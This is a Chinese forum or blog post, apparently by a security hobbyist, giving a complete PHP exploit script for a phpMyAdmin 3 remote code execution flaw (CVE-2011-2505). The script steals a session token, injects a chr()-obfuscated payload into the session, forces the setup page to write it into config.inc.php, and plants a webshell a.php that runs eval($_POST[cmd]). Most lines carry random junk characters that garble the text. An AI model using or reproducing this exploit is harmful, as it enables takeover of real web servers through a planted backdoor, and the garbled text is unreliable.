最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。, X6 M3 V, L6 H6 P# h
2 N; l; z0 c* A. D* d5 M4 n% x( ^昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
, y" W- y: n6 D% e- O1 d) `# p8 `( c$ k, x; f/ f5 G- @) w; [& C5 `9 A. g
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
8 Y9 \& {4 h$ A: k0 Z& V* F; |. l一是session.auto_start = 1;$ q8 [8 R1 P) K& B$ k1 l
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。: Y% ]; k* r( |4 Q3 m: C& @
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
0 ]* \: V4 X2 W( [( p# a. ^9 \: z8 L. p
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。( V& F7 L# N, e+ `
; _6 R1 t/ b4 d5 N, |1 W
于是写了这个php版本的exp,代码如下:3 x, E- d. L5 z$ {* x9 z
) m3 n( C5 ]6 M% F. y6 Q#!/usr/bin/php& W1 j) @" s' [, V/ {
<?php2 x. n" l+ E2 j3 Q
print_r('3 L% n( r0 W9 G1 V9 `7 R' c! |
+---------------------------------------------------------------------------+3 E: J6 i& N& H7 Z9 Q' _1 n! X
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
- X$ Y) x% w! ?6 u6 S1 n7 }, t6 Cby oldjun(www.oldjun.com)
9 n) W/ o" _. q+ n9 xwelcome to www.t00ls.net, p' D9 R& }: b: l" P
mail: oldjun@gmail.com
; h5 O6 X. }# v; aAssigned CVE id: CVE-2011-2505$ X$ }1 J9 d1 F- c3 t
+---------------------------------------------------------------------------+) K/ k" q' Z. i; \
'); R0 u d/ W, w+ a. D, N
) m6 v. w) k4 P, h0 H# o' ?/**
- @/ y5 T* y: x; I" S * working when the directory:"config" exists and is writeable.
/ F- e. y: M! b- o**/
8 U4 |* J$ U# D3 W( S+ M$ U
6 f' Z0 _: L! e7 v1 Qif ($argc < 3) {
& F' @+ I* i$ Q9 I print_r('
. W+ ^& y2 h3 Y- D+---------------------------------------------------------------------------+( v$ r! H9 ?) m! B
Usage: php '.$argv[0].' host path1 [5 o# h0 y3 h$ B5 P5 A
host: target server (ip/hostname)" Q! y) L% z n
path: path to pma3( B0 v3 o. C' E+ W2 e) x1 m" m9 R
Example:
7 j+ ^0 H9 K- t3 r: [3 dphp '.$argv[0].' localhost /pma/+ F% o, U7 `, H7 ]0 b0 w
+---------------------------------------------------------------------------+
0 ^% p! Q: O: h8 d');
! p8 d- d* d; X0 J exit;
6 b+ o& Y% v9 Z( d. `}/ Z1 ^& Y+ ~4 X' j, R' ]
7 n V% r4 l' l: ~& q' a7 o$host = $argv[1];
9 F* ~6 y, q! r+ { M2 u+ t$path = $argv[2];' o7 r9 @5 g9 d B
% }# V* V7 P& {3 @& V; N+ @4 O
/**! w8 Q! M" x# l/ T. j" D$ L* b
* Try to determine if the directory:"config" exists( R, Z, E$ B5 O0 u& Q
**/) {: |) _1 J! _( O: i. r( N; U# n
echo "[+] Try to determine if the directory:config exists....\n";
( r+ u' P3 `8 c5 `; m$returnstr=php_request('config/');
. D$ Q s" u* Uif(strpos($returnstr,'404')){
m7 x/ M$ q1 m: P: c exit("[-] Exploit Failed! The directory:config do not exists!\n"); e O( w5 c' J; D! u3 A% t- R
}
6 p1 e- H' u- H" Y+ O7 |5 v
: z) q+ Y) W6 J. |/**; X0 q$ T# J( h1 Z/ T+ x
* Try to get token and sessionid$ @. X2 m/ P# L+ t3 w
**/
( l! v; T1 c$ z% R/ z+ t1 decho "[+] Try to get token and sessionid....\n";5 G6 a$ Y: I& X& w
$result=php_request('index.php'); h; S9 ]" c6 q: j
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
1 j; H8 p, ^( T8 C" Y$token=$resp[3];% u0 X0 o+ K( b+ _2 E
$sessionid=$resp[1];. k) K2 ]0 \8 l" h6 a$ k
if($token && $sessionid){
* b) X5 h, ]) f. L- C* ~( u echo "[+] token token\n";
/ L( n E4 O5 W8 W6 f; e! G* m echo "[+] Session ID sessionid\n";
: r' \* q# t. S( N" m% \/ O3 w* V}else{
( i% j K1 B g. F0 O exit("[-] Can't get token and Session ID,Exploit Failed!\n");
' `3 |- P9 A+ [1 O* t; {( o}
! o" X/ f7 O6 ~. q
% m) z+ S6 j7 r2 w6 Z7 c. c- u/ i/**
% l9 ~5 z! V# q" V4 J" `. D * Try to insert shell into session
" x/ g! d& i; J9 I**/
1 X! A. J4 r- Cecho "[+] Try to insert shell into session....\n";
. c6 Z8 x% Z( `0 j3 d; Dphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
1 I3 u. p+ a. r
! G7 r0 c" v" s0 c) e( P* v/**3 Y4 `$ Q% I" ]7 a( u8 I/ {
* Try to create webshell
, T f, L7 C+ L* O0 }! ]! @**/0 D1 @! j( }& S7 ` o0 H3 v$ H
echo "[+] Try to create webshell....\n";
: T- M% e$ M. L( d5 d" D1 J# @php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);9 P: {. T. g6 T; x' c! _9 p. |4 Z
/**
9 l& E* K' W9 [3 a) o4 b7 r * Try to check if the webshell was created successfully
7 t3 h# z8 q( g( n; y1 e**/* U& `+ H' l8 Z' S( J
echo "[+] Try to check if the webshell was created successfully....\n";+ B; w/ Z' b, u
$content=php_request('config/config.inc.php');/ M9 }3 `2 E4 h
if(strpos($content,'t00ls')){/ t: @, Y; A3 v7 |
echo "[+] Congratulations! Expoilt successfully....\n";
* W0 B( \9 L- `& b! N6 F echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
0 h2 E" t, `% |9 d% r# A: y" E8 S}else{7 G- Y; s, x6 ^. [
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
3 w. _! q& V- U& P$ |4 |}
# a" v) ?) ^9 Z( o9 h% [/ i ]/ a9 R: r) c% ^5 U
function php_request($url,$data='',$cookie=''){
# n: L7 c6 i$ R& E" E1 Q global $host, $path;2 z& I8 \7 \4 J; y
8 _) P. O4 Z/ H$ Y
$method=$data?'POST':'GET';7 u( w2 ]; ^, E# v. P) [
2 _+ g. s( i2 q# c$ L E $packet = $method." ".$path.$url." HTTP/1.1\r\n";, ^0 c- J# |% ~' F, O
$packet .= "Accept: */*\r\n";- o+ V" M( d; H5 _- j
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";0 N1 G+ ?/ P! z8 H6 f( l
$packet .= "Host: $host\r\n";
- t5 w" Z3 w4 t" o6 H1 z $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";" p9 \# `$ X4 H* W7 ]2 G: y
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
& S& Q5 X' q5 j' q9 Y# { $packet .= $cookie?"Cookie: $cookie\r\n":"";: y. j8 M& Q" p6 L7 k
$packet .= "Connection: Close\r\n\r\n"; D! O) ]6 i' N7 ]! C
$packet .= $data?$data:"";7 U: s& B0 Z$ g( N+ ^
& M) a: F' t) T/ H; E
$fp = fsockopen(gethostbyname($host), 80);
+ `2 Y# | T1 W, k( x if (!$fp) {8 K1 z/ u, c! G( Z; y U+ G( {( y1 Z: l
echo 'No response from '.$host; die;
5 V, A3 E9 [/ N! c# x# } }* B3 i' J% D0 |1 X' N: B: n
fputs($fp, $packet);& K" Q- F3 K1 ^( Z
& k- C6 V& C- } $resp = '';& M3 x; k/ W c d' ^7 C
! O9 o! ]# N! i3 E$ n' f1 ] while ($fp && !feof($fp))4 w9 S3 G" y9 M' ~' {
$resp .= fread($fp, 1024);: r; v; ]: f7 y: z6 d J
5 B1 L4 t E( ]2 U) f return $resp;' m' Y; {- ]$ e2 P H# {
}
0 e) M& g1 Q" _& E z
1 P6 s' G& p8 Y6 [( T?>
# n; B. @% v% M- I$ k& v: k. |